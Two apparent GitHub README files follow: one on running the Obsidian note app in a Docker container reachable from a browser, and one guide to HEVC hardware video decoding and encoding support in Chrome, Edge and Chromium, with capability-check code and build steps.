sytone/obsidian-remote | # obsidian-remote
This docker image allows you to run [obsidian](https://obsidian.md/) in docker as a container and access it via your web browser.
Use `http://localhost:8080/` to access it locally, do not expose this to the web unless you secure it and know what you are doing!!
- [Using the Container](#using-the-container)
- [Ports](#ports)
- [Mapped Volumes](#mapped-volumes)
- [Environment Variables](#environment-variables)
- [Using Docker Compose](#using-docker-compose)
- [Enabling GIT for the obsidian-git plugin](#enabling-git-for-the-obsidian-git-plugin)
- [Docker CLI example](#docker-cli-example)
- [Reloading Obsidan in the Browser](#reloading-obsidan-in-the-browser)
- [Setting PUID and PGID](#setting-puid-and-pgid)
- [Adding missing fonts](#adding-missing-fonts)
- [Map font file using Docker CLI](#map-font-file-using-docker-cli)
- [Map font file using Docker Compose](#map-font-file-using-docker-compose)
- [Hosting behind a reverse proxy](#hosting-behind-a-reverse-proxy)
- [Example nginx configuration](#example-nginx-configuration)
- [Hosting behind Nginx Proxy Manager (NPM)](#hosting-behind-nginx-proxy-manager-npm)
- [Updating Obsidian](#updating-obsidian)
- [Building locally](#building-locally)
- [Copy/Paste From External Source](#copypaste-from-external-source)
## Using the Container
To run a interactive version to test it out. This is using windows based path, update for the OS you are running on.
```PowerShell
docker run --rm -it `
-v D:/ob/vaults:/vaults `
-v D:/ob/config:/config `
-p 8080:8080 `
ghcr.io/sytone/obsidian-remote:latest
```
To run it as a daemon in the background.
```PowerShell
docker run -d `
-v D:/ob/vaults:/vaults `
-v D:/ob/config:/config `
-p 8080:8080 `
ghcr.io/sytone/obsidian-remote:latest
```
The ARM container is now avaliable, will look to make this simpler in the future. The ARM imange is on the docker hub and not the github container registry.
```PowerShell
docker run -d `
-v D:/ob/vaults:/vaults `
-v D:/ob/config:/config `
-p 8080:8080 `
sytone/obsidian-remote:latest
```
### Ports
| Port | Description |
| ----- | --------------------------------------- |
| 8080 | HTTP Obsidian Web Interface |
| 8443 | HTTPS Obsidian Web Interface |
### Mapped Volumes
| Path | Description |
| --------- | ------------------------------------------------------------------------- |
| `/vaults` | The location on the host for your Obsidian Vaults |
| `/config` | The location to store Obsidan configuration and ssh data for obsidian-git |
### Environment Variables
| Environment Variable | Description |
| -------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| PUID | Set the user ID for the container user. `911` by default. |
| PGID | Set the group ID for the continer user. `911` by default. |
| TZ | Set the Time Zone for the container, should match your TZ. `Etc/UTC` by default. See [List of tz database time zones](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones) for valid options. |
| DOCKER_MODS | Use to add mods to the container like git. E.g. `DOCKER_MODS=linuxserver/mods:universal-git` See [Docker Mods](https://github.com/linuxserver/docker-mods) for details. |
| KEYBOARD | Used to se the keyboard being used for input. E.g. `KEYBOARD=en-us-qwerty` or `KEYBOARD=de-de-qwertz` a list of other possible values (not tested) can be found at <https://github.com/linuxserver/docker-digikam#keyboard-layouts> |
| CUSTOM_PORT | Internal port the container listens on for http if it needs to be swapped from the default 3000. |
| CUSTOM_HTTPS_PORT | Internal port the container listens on for https if it needs to be swapped from the default 3001. |
| CUSTOM_USER | HTTP Basic auth username, abc is default. |
| PASSWORD | HTTP Basic auth password, abc is default. If unset there will be no auth |
| SUBFOLDER | Subfolder for the application if running a subfolder reverse proxy, need both slashes IE `/subfolder/` |
| TITLE | The page title displayed on the web browser, default "KasmVNC Client". |
| FM_HOME | This is the home directory (landing) for the file manager, default "/config". |
## Using Docker Compose
```YAML
services:
obsidian:
image: 'ghcr.io/sytone/obsidian-remote:latest'
container_name: obsidian-remote
restart: unless-stopped
ports:
- 8080:8080
- 8443:8443
volumes:
- /home/obsidian/vaults:/vaults
- /home/obsidian/config:/config
environment:
- PUID=1000
- PGID=1000
- TZ=America/Los_Angeles
- DOCKER_MODS=linuxserver/mods:universal-git
- CUSTOM_PORT="8080"
- CUSTOM_HTTPS_PORT="8443"
- CUSTOM_USER=""
- PASSWORD=""
- SUBFOLDER=""
```
## Enabling GIT for the obsidian-git plugin
This container uses the base images from linuxserver.io. This means you can the linuxserver.io mods. To add support for git add the `DOCKER_MODS` environment variable like so `DOCKER_MODS=linuxserver/mods:universal-git`.
### Docker CLI example
```PowerShell
docker run -d `
-v D:/ob/vaults:/vaults `
-v D:/ob/config:/config `
-p 8080:8080 `
-e DOCKER_MODS=linuxserver/mods:universal-git `
ghcr.io/sytone/obsidian-remote:latest
```
## Reloading Obsidan in the Browser
If you make changes to plugins or do updates that need to have obsidian restarted, instead of having to stop and start the docker container you can just close the Obsidian UI and right click to show the menus and reopen it. Here is a short clip showing how to do it.
## Setting PUID and PGID
To set PUID and PGID use the follow environment variables on the command line, by default the IDs are 911/911
```PowerShell
docker run --rm -it `
-v D:/ob/vaults:/vaults `
-v D:/ob/config:/config `
-e PUID=1000 `
-e PGID=1000 `
-p 8080:8080 `
ghcr.io/sytone/obsidian-remote:latest
```
Or, if you use docker-compose, add them to the environment: section:
```yaml
environment:
- PUID=1000
- PGID=1000
```
It is most likely that you will use the id of yourself, which can be obtained by running the command below. The two values you will be interested in are the uid and gid.
```powershell
id $user
```
## Adding missing fonts
Thanks to @aaron-jang for this example.
Download the font of the language that you want to use in Obsidian and add it to the volume as shown below.
### Map font file using Docker CLI
```PowerShell
-v {downloaded font directory}:/usr/share/fonts/truetype/{font name}
```
### Map font file using Docker Compose
```PowerShell
volumes:
- {downloaded font directory}:/usr/share/fonts/truetype/{font name}
```
## Hosting behind a reverse proxy
If you wish to do that **please make sure you are securing it in some way!**. You also need to ensure **websocket** support is enabled.
### Example nginx configuration
This is an example, I recommend a SSL based proxy and some sort of authentication.
```
server {
set $forward_scheme http;
set $server "10.10.10.10";
set $port 8080;
listen 80;
server_name ob.mycooldomain.com;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
proxy_http_version 1.1;
access_log /data/logs/ob_access.log proxy;
error_log /data/logs/ob_error.log warn;
location / {
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
proxy_http_version 1.1;
# Proxy!
add_header X-Served-By $host;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Scheme $scheme;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header X-Real-IP $remote_addr;
proxy_pass $forward_scheme://$server:$port$request_uri;
}
}
```
## Hosting behind Nginx Proxy Manager (NPM)
Thanks to @fahrenhe1t for this example.
If you install obsidian-remote in Docker, you can proxy it through [Nginx Proxy Manager](https://nginxproxymanager.com/) (NPM - running on the same Docker instance), and use an access list to provide user authentication. The obsidian-remote container would have to be on the same network as Nginx Proxy Manager. If you don't expose the IP external to the container, authentication would be forced through NPM:
```yaml
services:
obsidian:
image: 'ghcr.io/sytone/obsidian-remote:latest'
container_name: obsidian-remote
restart: unless-stopped
ports:
- 8080 #only exposes port internally to the container
volumes:
- /home/obsidian/vaults:/vaults
- /home/obsidian/config:/config
environment:
- PUID=1000
- PGID=1000
- TZ=America/Los_Angeles
- DOCKER_MODS=linuxserver/mods:universal-git
networks:
default:
name: <your nginx proxy manager network>
external: true
```
Create a proxy host in NPM pointing to the "obsidian-remote:8080" container, choose your domain name, use a LetsEncrypt SSL certificate, enable WebSockets. This video talks about it: [Nginx Proxy Manager - ACCESS LIST protection for internal services](https://www.youtube.com/watch?v=G9voYZejH48)
## Updating Obsidian
By default obsidian will update itself in the container. If you recreate the container you will have to do the update again. This repo will be updated periodically to keep up with the latest version of Obsidian.
## Building locally
To build and use it locally run the following commands:
```PowerShell
docker build --pull --rm `
-f "Dockerfile" `
-t obsidian-remote:latest `
"."
```
To run the localy build image:
```PowerShell
docker run --rm -it `
-v D:/ob/vaults:/vaults `
-v D:/ob/config:/config `
-p 8080:8080 `
obsidian-remote:latest bash
```
## Copy/Paste From External Source
Click on the circle to the left side of your browser window. In there you will find a textbox for updating the remote clipboard or copying from it.
| Run Obsidian.md in a browser via a docker container. | obsidian-md | 6 | 6 | 28 | 61 | 39 | 3 | 2 |
StaZhu/enable-chromium-hevc-hardware-decoding | # enable-chromium-hevc-hardware-decoding
A guide that teach you enable hardware HEVC decoding & encoding for Chrome / Edge, or build a custom version of Chromium / Electron that supports hardware & software HEVC decoding and hardware HEVC encoding.
##### English | [็ฎไฝไธญๆ](./README.zh_CN.md)
## Usage
#### Chrome & Edge (Mac) & Chromium
Make sure version >= 107 then open directly.
## What's the hardware decoding supported HEVC profile?
HEVC Main (Up to 8192x8192 pixels)
HEVC Main 10 (Up to 8192x8192 pixels)
HEVC Main Still Picture (only Windows is not supported, up to 8192x8192 pixels)
HEVC Rext (partially supported, see the table below for details, up to 8192x8192 pixels)
| GPU | 8b 420 | 8b 422 | 8b 444 | 10b 420 | 10b 422 | 10b 444 | 12b 420 | 12b 422 | 12b 444 |
| :--------------------- | :----- | :------------- | :------------- | :------- | :------ | :------ | :------ | :------------ | :------------- |
| Apple Silicon (macOS) | โ
| โ
| โ
| โ
| โ
| โ
| โ | โ | โ |
| Intel ICL ~ TGLx (Win) | โ
|โ
<sup>[5]</sup>|โ
<sup>[4]</sup>| โ
| โ
| โ
| โ | โ | โ |
| Intel TGLx+ (Win) | โ
|โ
<sup>[5]</sup>|โ
<sup>[4]</sup>| โ
| โ
| โ
| โ
|โ
<sup>[4]</sup>|โ
<sup>[4]</sup>|
โ
๏ผGPU + software support
โ๏ผGPU not support
*Note 1: Intel Macs support HEVC Rext software decoding of 8 ~ 12b 400, 420, 422, 444 contents. Apple Silicon Mac supports HEVC Rext hardware decoding of 8 ~ 10b 400, 420, 422, 444 contents, and software decoding of 12b 400, 420, 422, 444 contents on macOS 13+.*
*Note 2: Intel Gen10 GPUs support HEVC Rext hardware decoding of 8b 420, 8b 422, 8b 444, 10b 420, 10b 422, 10b 444 contents on Windows. Gen11+ GPUs additionally support HEVC Rext hardware decoding of 12b 420, 12b 422, 12b 444 contents.*
*Note 3: Although NVIDIA GPUs support HEVC Rext hardware decoding of 8 ~ 12b non-422 contents via CUVIA or NVDEC, but because they did not provide a D3D11 interface, thus Chromium will not support it in the future.*
*Note 4: HEVC 8b 444, 12b 422, 12b 444 support requires Chrome >= `117.0.5866.0`.*
*Note 5: HEVC 8b 422 support requires Chrome >= `118.0.5956.0`.*
*Note 6: To retain the original 4:2:2/4:4:4 chroma sampling, requires Chrome >= `125.0.6408.0`.*
## What's the hardware encoding supported HEVC profile?
HEVC Main (macOS & Windows & Android, macOS up to 4096x2304 px & 120 fps, Windows up to 1920*1088 px & 30 fps, Android up to the hardware)
*Note 1: You need to pass a chrome switch to enable it๏ผ`--enable-features=PlatformHEVCEncoderSupport`๏ผ[Test Page](https://w3c.github.io/webcodecs/samples/encode-decode-worker/index.html).*
*Note 2: Windows / Mac need to make sure Chrome version >= `109.0.5397.0`๏ผAndroid need to make sure Chrome version >= `117.0.5899.0`ใ*
## What's the OS requirement?
macOS Big Sur (11.0) and above
Windows 8 and above
Android 5.0 and above
Chrome OS (Only supports GPUs that support VAAPI interface, eg: Intel GPU)
Linux (Chrome version >= `108.0.5354.0`, and only supports GPUs that support VAAPI interface, eg: Intel GPU)
## What's the API supported?
Video Decode: File, Media Source Extensions, WebCodec (8Bit requires >= `107.0.5272.0`, 10Bit + HEVC with Alpha requires >= `108.0.5343.0`), Clearkey and Widevine L1 (HW only) Encrypted Media Extensions are supported. WebRTC is not supported.
Video Encode: WebCodec (Windows, macOS, and Android, when passing `--enable-features=PlatformHEVCEncoderSupport`) is supported.
## What's the GPU requirement?
#### Discrete GPU
Intel DG1 and above
NVIDIA GT635, GTX645 and above
AMD RX460 and above
#### Integrated GPU
Intel HD4400, HD515 and above
AMD Radeon R7, Vega M and above
Apple M1, M1 Pro, M1 Max, M1 Ultra and above
#### Detail Table
[Intel](https://bluesky-soft.com/en/dxvac/deviceInfo/decoder/intel.html)
[AMD](https://bluesky-soft.com/en/dxvac/deviceInfo/decoder/amd.html)
[NVIDIA](https://bluesky-soft.com/en/dxvac/deviceInfo/decoder/nvidia.html)
## HDR Supports? (Compared with Edge / Safari / Firefox)
| | PQ | HDR10 | HDR10+ | HLG | DV P5 | DV P8.1 | DV P8.4 |
| :-------------- | :------- | :------- | :------- | :------- |:-------- |:--------- |:----------- |
| Chrome Mac | โ
| โ
| โ
| โ
| โ | โ
| โ
|
| Chrome Win | โ
| โ
| โ
| โ
| โ | โ
| โ
|
| Edge Mac | โ
| โ
| โ
| โ
| โ | โ
| โ
|
| Edge Win | โ
| โ
| โ
| โ
| โ | โ
| โ
|
| Safari Mac | โ
| โ
| โ
| โ
| โ
| โ
| โ
|
| Firefox Win<sup>[1]</sup>| โ | โ | โ | โ | โ | โ | โ |
On Windows platform, Chrome supports PQ, HDR10 (PQ with static metadata), and HLG. Automatic Tone-mapping will be enabled based on static metadata (if present). HDR10+ SEI dynamic metadata wil be ignored while decoding and playback will downgrade to HDR10.
On macOS platform, Chrome supports PQ, HDR10 (PQ with static metadata), HLG. In SDR / HDR / Hybrid mode, the macOS system will automatically perform EDR to ensure that HDR is displayed correctly. Chrome / Edge shared the same code thus has the same decoding ability, Safari also supports the above all HDR formats.
*Note 1: Firefox >= 120 just added HEVC decoding support (Windows platform only, experimental, need to manually set `media.wmf.hevc.enabled=1` to enable the feature). Based on my testing, Firefox supports HEVC Main profile while doesn't support Main10 profile (HDR contents usually encoded with Main10 profile) yet, if the bug got fixed, I will re-test and update the table later.*
#### Dolby Vision Supports Status
There are two type of support type here:
1. Type 1: Supports RPU dynamic metadata and Profile 5 (IPTPQc2).
2. Type 2: Supports profiles like Profile 8/9 that has cross-compatible HDR10/HLG/SDR support.
For the first type, currently only Chromecast and Windows platforms have very limited support. On Windows platform, Chrome supports encrypted Dolby Vision content, for versions of Chrome >= 110, when manually passing `--enable-features=PlatformEncryptedDolbyVision` switch and launch Chrome and when the system has installed the Dolby Vision extension and HEVC video extension, Profile 4/5/8 will be supported, "Supported" will be returned when querying the API (Note: For external HDR displays, if HDR mode is turned on, Microsoft's MediaFoundation has a bug and will not return "Supported" results).
For the second type, Profile 8/9 with cross-compatibility such as HLG, HDR10, SDR, using API to query with `dvh1`, `dvhe`, `dva1`, `dvav` will return "not supported" (for example :`MediaSource.isTypeSupported('video/mp4;codecs="dvh1.08.07"')`), while when querying with `hvc1`, `hev1`, `avc1`, `avc3`, "supported" will be returned. The specific version of Chrome has different implementation details:
Chrome >= 122. as long as the platform supports HEVC, then it is supported. Assuming that the API used by developers is MSE, the logic will be something like below:
```javascript
if (isTypeSupported('video/mp4;codecs="dvh1.08.07"')) {
if (use_rpu) {
// Playback should success. Chrome internally considers the codec to be Dolby Vision
// and uses RPU dynamic metadata.
source.addSourceBuffer('video/mp4;codecs="dvh1.08.07"');
...
} else if (dvcc.dv_bl_signal_compatibility_id === 1 ||
dvcc.dv_bl_signal_compatibility_id === 2 ||
dvcc.dv_bl_signal_compatibility_id === 4) {
// Playback should success. Chrome internally considers the codec to be HEVC,
// ignores RPU dynamic metadata, decode and render in HLG/HDR10/SDR mode.
// Note: If it is profile 5, source buffer can only be created with `dvh1` or `dvhe`
// mimetype.
source.addSourceBuffer('video/mp4;codecs="hev1.2.4.L120.90"');
...
} else {
// Playback should fails, for incompatible dolby profiles, if you use HEVC construct
// source buffer, it will always fails.
}
} else if (isTypeSupported('video/mp4;codecs="hev1.2.4.L120.90"')) {
if (dvcc.dv_bl_signal_compatibility_id === 1 ||
dvcc.dv_bl_signal_compatibility_id === 2 ||
dvcc.dv_bl_signal_compatibility_id === 4) {
// Playback should success. Chrome internally considers the codec to be HEVC,
// ignores RPU dynamic metadata, decode and render in HLG/HDR10/SDR mode.
source.addSourceBuffer('video/mp4;codecs="hev1.2.4.L120.90"');
...
} else {
// Playback should fails, for example when Chrome does not support profile 5 but you use
// HEVC construct SourceBuffer.
}
} else {
// Playback should fails, HEVC is not supported.
}
```
Versions 110 ~ 121 of Chrome on Windows, Dolby Vision is not playable at all if its not encrypted, this is a bug of the browser. Chrome on other platforms, such as macOS, Android, etc, as long as constructing source buffer with `hvc1`, `hev1`, `avc1`, `avc3` and the sample entry is not `dvh1`, `dvhe`, `dva1`, `dvav`, then the playback should be success.
Versions 107 ~ 109 of Chrome, if constructing source buffer with `hvc1`, `hev1`, `avc1`, `avc3` and the sample entry is not `dvh1`, `dvhe`, `dva1`, `dvav`, then the playback should be success.
#### HDR support by version of Chrome/Edge
Chrome 107 does not support the ability to extract HEVC static metadata, and all HDR10 video playback are downgraded to PQ only mode. HLG videos uses the video processor API provided by the GPU vendor for processing tone-mapping has a poor performance on some laptops, and playing 4K video may cause frame droping.
Chrome 108 supports the ability to extract HEVC static metadata. For videos with static metadata written in the container, the playback is okey on 108, but some videos are not written static metadata to their containers, thus Chrome 108 can not extract the static metadata from these videos which causing the playback to be downgraded to PQ only mode, and the max content light level maybe cutted to a low value for these videos. In addition, the HLG Tone-mapping algorithm on Windows platform has been switched to Chrome's own algorithm, which solves the problem of bad performance on the laptop when using video processor for HLG Tone-mapping. However, Chrome has been using 8 bit for Tone-mapping, which resulting an insufficient contrast ratio of the Tone-mapping result.
Chrome 109 makes the HDR -> SDR process to a 16 bit + zero copy process, which improves the accuracy of PQ Tone-mapping on Windows platform, thus the problem of the insufficient contrast ratio for HLG has been also solved, and the video memory usage has been reduced by about 50%.
Chrome 110 solves the problem of incomplete static metadata extraction. It supports the extraction of static metadata from both the bitstream and the container, thus the max content light level issue has been solved, and at this point all HDR issues should have been resolved.
Chrome 119 fixed 10bit video playback issues for AMD GPU on Windows platform (black screen when playing HLG video in SDR mode, 4K freezes, high memory usage, color change when switching full-screen, crash when playing SDR video in HDR mode).
Chrome 122 improved Dolby Vision cross-compatible playback ability.
Chrome 123 ensures that on Windows platforms, PQ/HDR10 video can be rendered at absolute brightness when system HDR mode is enabled. It also solves the problem of abnormal Tone-mapping issue when the window is dragged between SDR monitor / HDR monitor when multiple monitors are connected.
Chrome 124 solves the issue that on Windows platform when the NVIDIA RTX Auto HDR feature is enabled, page scrolling will cause video brightness transition.
Chrome 125 solves all issues with Intel HDR10 MPO, the feature has been re-enabled.
Edge 125 solves the issue of no zero-copy output when using `VDAVideoDecoder` decodes HEVC Main10 10bit contents on the Windows platform, and the issue of PQ/HDR10/HLG bad tone-mapping result could also be solved. The HDR rendering results of later versions of Edge are expected to be exactly the same as Chrome, performed by Skia, and the rendering results of various GPU manufacturers will remain consistent no matter system HDR mode on or off (Intel HDR10 MPO may be enabled if system HDR mode is turned on and GPU generation >= 11, which may result in slight inconsistencies with Skia rendering results).
## How to verify certain profile or resolution is supported๏ผ
### Clear Content
#### MediaCapabilities
```javascript
const mediaConfig = {
/**
* You can use `file` or `media-source` and the result are same here,
* don't use `webrtc` since HEVC webrtc is not supported currently.
*/
type: 'file',
video: {
/**
* HEVC Profile
*
* Main: `hev1.1.6.L93.B0`
* Main 10: `hev1.2.4.L93.B0`
* Main still-picture: `hvc1.3.E.L93.B0`
* Range extensions: `hvc1.4.10.L93.B0`
*/
contentType : 'video/mp4;codecs="hev1.1.6.L120.90"',
/* Width */
width: 1920,
/* Height */
height: 1080,
/* Any number */
bitrate: 10000,
/* Any number */
framerate: 30
}
}
navigator.mediaCapabilities.decodingInfo(mediaConfig)
.then(result => {
/* Indicate whether or not the video with given profile, width, and height can played well on the browser */
if (result.supported) {
console.log('Video can play!');
} else {
console.log('Video can\'t play!');
}
});
```
#### MediaSource
```javascript
if (MediaSource.isTypeSupported('video/mp4;codecs="hev1.1.6.L120.90"')) {
console.log('HEVC main profile is supported!');
}
if (MediaSource.isTypeSupported('video/mp4;codecs="hev1.2.4.L120.90"')) {
console.log('HEVC main 10 profile is supported!');
}
if (MediaSource.isTypeSupported('video/mp4;codecs="hev1.3.E.L120.90"')) {
console.log('HEVC main still-picture profile is supported!');
}
if (MediaSource.isTypeSupported('video/mp4;codecs="hev1.4.10.L120.90"')) {
console.log('HEVC range extensions profile is supported!');
}
```
#### CanPlayType
```javascript
const video = document.createElement('video');
if (video.canPlayType('video/mp4;codecs="hev1.1.6.L120.90"') === 'probably') {
console.log('HEVC main profile is supported!');
}
if (video.canPlayType('video/mp4;codecs="hev1.2.4.L120.90"') === 'probably') {
console.log('HEVC main 10 profile is supported!');
}
if (video.canPlayType('video/mp4;codecs="hev1.3.E.L120.90"') === 'probably') {
console.log('HEVC main still-picture profile is supported!');
}
if (video.canPlayType('video/mp4;codecs="hev1.4.10.L120.90"') === 'probably') {
console.log('HEVC range extensions profile is supported!');
}
```
#### VideoDecoder
```javascript
const videoConfig = {
/**
* HEVC Profile
*
* Main: `hev1.1.6.L93.B0`
* Main 10: `hev1.2.4.L93.B0`
* Main still-picture: `hvc1.3.E.L93.B0`
* Range extensions: `hvc1.4.10.L93.B0`
*/
codec: 'hev1.1.6.L120.90',
/* HEVC is always hw accelerated */
hardwareAcceleration: 'prefer-hardware',
/* Width */
codedWidth: 1280,
/* Height */
codedHeight: 720,
}
try {
const result = await VideoDecoder.isConfigSupported(videoConfig);
/* Indicate whether or not the video with given profile, width, and height can be decoded by WebCodecs API */
if (result.supported) {
console.log('Video can play!');
} else {
console.log('Video can\'t play!');
}
} catch (e) {
/* There is a bug that in previous version of Chromium, the api may throw Error if config is not supported */
console.log('Video can\'t play!');
}
```
*Note 1๏ผThe above four API have already took `--disable-gpu`, `--disable-accelerated-video-decode`, `gpu-workaround`, `settings - system - Use hardware acceleration when available`, `OS version` etc... into consideration, and if Chrome version >= `107.0.5304.0` (There is a bug in Chrome 108 and previous versions on Windows platform. If a specific GPU driver version causes D3D11VideoDecoder to be disabled for some reason, although the hardware decoding is no longer available, APIs such as isTypeSupported may still return "support", the bug has been fixed in Chrome 109) and OS is macOS or Windows, the result are guaranteed.*
*Note 2: There is a bug for the Android platform, Chrome < `112.0.5612.0` does not return the actual support status of different devices (although Android >= 5.0 supports HEVC main profile SW decoding by default, however whether main10 profile is supported or not completely depends on hardware), and always assume that all HEVC profiles and resolution are supported. Chrome >= `112.0.5612.0` now solves this bug, and will return the correct result depends on hardware and the given video's resolution. Just like Windows and macOS, the above three APIs are supported as well, and every influencing factors should have been taken into account.*
*Note 3๏ผCompared with `MediaSource.isTypeSupported()` or `CanPlayType()`, we recommend using `MediaCapabilities`, since `MediaCapabilities` not only takes `settings - system - Use hardware acceleration when available` etc... into consideration, but also check if the given `width and height` is supported or not since different GPU may have different max resolution support, eg: some AMD GPU only support up to 4096 * 2048, and some old GPU only support up to 1080P.*
### Encrypted Content
#### requestMediaKeySystemAccess
```javascript
/** Detect HEVC Widevine L1 support (only Windows is supported). */
try {
await navigator.requestMediaKeySystemAccess('com.widevine.alpha.experiment', [
{
initDataTypes: ['cenc'],
distinctiveIdentifier: 'required',
persistentState: 'required',
sessionTypes: ['temporary'],
videoCapabilities: [
{
robustness: 'HW_SECURE_ALL',
contentType: 'video/mp4; codecs="hev1.1.6.L120.90"',
},
],
},
]);
console.log('Widevine L1 HEVC main profile is supported!');
} catch (e) {
console.log('Widevine L1 HEVC main profile is not supported!');
}
/**
* Detect Dolby Vision Widevine L1 support (only Windows is supported, and only if
* `--enable-features=PlatformEncryptedDolbyVision` switch has been passed).
*/
try {
await navigator.requestMediaKeySystemAccess('com.widevine.alpha.experiment', [
{
initDataTypes: ['cenc'],
distinctiveIdentifier: 'required',
persistentState: 'required',
sessionTypes: ['temporary'],
videoCapabilities: [
{
robustness: 'HW_SECURE_ALL',
contentType: 'video/mp4; codecs="dvhe.05.07"',
},
],
},
]);
console.log('Widevine L1 DV profile 5 is supported!');
} catch (e) {
console.log('Widevine L1 DV profile 5 is not supported!');
}
```
## What's the tech diff? (Compared with Edge / Safari / Firefox)
#### Windows
Edge uses `VDAVideoDecocder` to call `MFT` (need to install `HEVC Video Extension`, Edge 117 ~ 121 uses `MediaFoundationRenderer`, and switch back to the original `VDAVideoDecocder` after version 122) to finish the HEVC decoding which is the same tech behind `Movies and TV` builtin system app.
Firefox (>= 120, experimental, need to manually set `media.wmf.hevc.enabled=1` to enable the feature) uses `MFT` (need to install `HEVC Video Extension`) to finish the HEVC decoding which is the same tech behind `Movies and TV` builtin system app.
When using `MFT`, If the device does not have hardware decoding support of a specific profile (i.e. NVIDIA GTX 745 does not support Main10 profile) or resolution (i.e. NVIDIA GTX 960 does not support resolutions above 4K), `MFT` will automatically switch to software decoding.
Chrome uses `D3D11VideoDecoder` to call `D3D11VA` (no need to install anything) to finish the HEVC HW decoding which is the same tech behind video players like `VLC`.
#### macOS
Edge and Chrome use the same decoding implementations on macOS.
Safari and Chrome use the same `VideoToolbox` to finish the HEVC decoding, if the device does not have hardware support, it will automatically fallback to use software decoding. Compared with Safari, Chrome requires higher OS version (10.13 vs 11.0).
## How to verify HEVC hardware support is enabled?
1. Open `chrome://gpu`, and search `Video Acceleration Information`, you should see **Decode hevc main** field and **Decode hevc main 10** field (macOS will show **Decode hevc main still-picture** and **Decode hevc range extensions** as well, Windows Intel Gen10+ iGPU will show **Decode hevc range extensions** as well) present if hardware decoding is supported (macOS is an exception here, you see this field doesn't means the decode will use hardware, it actually depends on your GPU).
2. Open `chrome://media-internals` and play some HEVC video ([Test Page](https://lf-tk-sg.ibytedtos.com/obj/tcs-client-sg/resources/video_demo_hevc.html)) if the decoder is `VDAVideoDecoder` or `VideoToolboxVideoDecoder` or `D3D11VideoDecoder` or `VaapiVideoDecoder` that means the video is using hardware decoding (macOS is an exception here, if the OS >= Big Sur, and the GPU doesn't support HEVC, VideoToolbox will fallback to software decode which has a better performance compared with FFMPEG, the decoder is `VDAVideoDecoder` or `VideoToolboxVideoDecoder` in this case indeed), and if the decoder is `FFMpegVideoDecoder` that means the video is using software decoding.
3. Open `Activity Monitor` on Mac and search `VTDecoderXPCService`, if the cpu usage larger than 0 when playing video, that means hardware (or software) decoding is being used.
4. Open `Windows Task Manager` on Windows and switch to `Performance` - `GPU`, if `Video Decode`(Intel, NVIDIA) or `Video Codec`(AMD) usage larger than 0 when playing video, that means hardware decoding is being used. For some first generation GPU (i.e: NVIDIA RTX 745) that support HEVC, since there is no dedicated hw decoding circuit inside the GPU, although the `D3D11` decoding API is supported, it will only occupy the general `3D` utilization when decoding.
## Why my GPU support HEVC, but still not able to hardware decode?
#### OS version is too low
##### Windows
Please make sure you are using Windows 8 and above, this is because the `D3D11VideoDecoder` doesn't support Windows 7.
##### macOS
Please make sure you are using macOS Big Sur and above, this is because `CMVideoFormatDescriptionCreateFromHEVCParameterSets` API has compatibility issue on lower macOS.
#### GPU driver has bug
Some GPU driver may has bug which will cause `D3D11VideoDecoder` forbidden to use. in this case, you need to upgrade your GPU driver and try again. [See reference](https://source.chromium.org/chromium/chromium/src/+/main:gpu/config/gpu_driver_bug_list.json?q=disable_d3d11_video_decoder)
#### GPU hardware has bug
Some GPU hardware may has bug which will cause `D3D11VideoDecoder` forbidden to use. in this case, we can't do anything else but to use the FFMPEG software decode. [See reference](https://source.chromium.org/chromium/chromium/src/+/main:gpu/config/gpu_driver_bug_list.json?q=disable_d3d11_video_decoder)
## How to Build?
1. Follow [the official build doc](https://www.chromium.org/developers/how-tos/get-the-code/) to prepare the build environment then fetch the source code from `main` branch (HEVC HW codes has been merged).
2. (Optional) To enable HEVC software decoding: switch to `src/third_party/ffmpeg` dir, then execute `git am /path/to/add-hevc-ffmpeg-decoder-parser.patch`. If failed to apply the patch, could also try `node /path/to/add-hevc-ffmpeg-decoder-parser.js` to enable software decoding (Node.js is required to run the script), then switch to `src` dir, and execute `git am /path/to/enable-hevc-ffmpeg-decoding.patch`.
3. (Optional) To enable HEVC encoding support by default on Windows / macOS / Android, switch to `src` dir, then execute `git am /path/to/enable-hevc-encoding-by-default.patch`.
4. (Optional) To integrate Widevine CDM to support EME API (like Netflix): switch to `src` dir, then execute `cp -R /path/to/widevine/* third_party/widevine/cdm` (Windows: `xcopy /path/to/widevine third_party\widevine\cdm /E/H`).
5. If you are using `Mac` + want to build `x64` arch (target_cpu to `x86` , `arm64` , `arm` also available) + want to add CDM support, then run `gn gen out/Release64 --args="is_component_build = false is_official_build = true is_debug = false ffmpeg_branding = \"Chrome\" target_cpu = \"x64\" proprietary_codecs = true media_use_ffmpeg = true enable_widevine = true bundle_widevine_cdm = true"`, if you are using `Windows`, you need to add `enable_media_foundation_widevine_cdm = true` as well.
6. Run `autoninja -C out/Release64 chrome` to start the build.
7. Open Chromium directly.
## How to integrate this into Chromium based project like Electron?
If Electron >= v22.0.0, the HEVC HW decoding feature for macOS, Windows, and Linux (VAAPI only) should have already been integrated. To add HEVC SW decoding, the method should be the same with Chromium guide above.
## Change Log
`2024-05-30` Fixed issue of abnormal color when HEVC video encoded with GBR color space matrix (Chrome >= `127.0.6510.0`).
`2024-04-18` Fixed issue of video frame stuttering on some AMD GPUs (Edge >= `124.0.2478.49`), and issue of bad HEVC Main10 HDR tone-mapping performance for Edge on Windows platform (Edge >= `125.0.2530.0`)
`2024-04-09` Fixed issue where HEVC Rext 4:2:2/4:4:4 video chroma sampling was downgraded to 4:2:0 on Windows/macOS platforms (Chrome >= `125.0.6408.0`)
`2024-03-28` Update Chromium 123 / 124 HDR related bug fixes detail, and the tech diff with Chrome for `Edge >= 122`
`2023-12-22` Update implementation details and comparison with Firefox
`2023-12-08` Improved Dolby Vision playback capabilities (Chrome >= `122.0.6168.0`)
`2023-11-16` Support MV-HEVC Base Layer playback (Chrome >= `121.0.6131.0`)
`2023-10-20` Fixed Winodows CRA/RASL image artifact issue when seeking (Chrome >= `120.0.6076.0`)
`2023-10-10` Block Intel driver version between `20.19.15.4284` and `20.19.15.5172` that could cause HEVC playback crash (Chrome >= `120.0.6059.0`)
`2023-10-02` Update HDR10/PQ support status for Edge 117
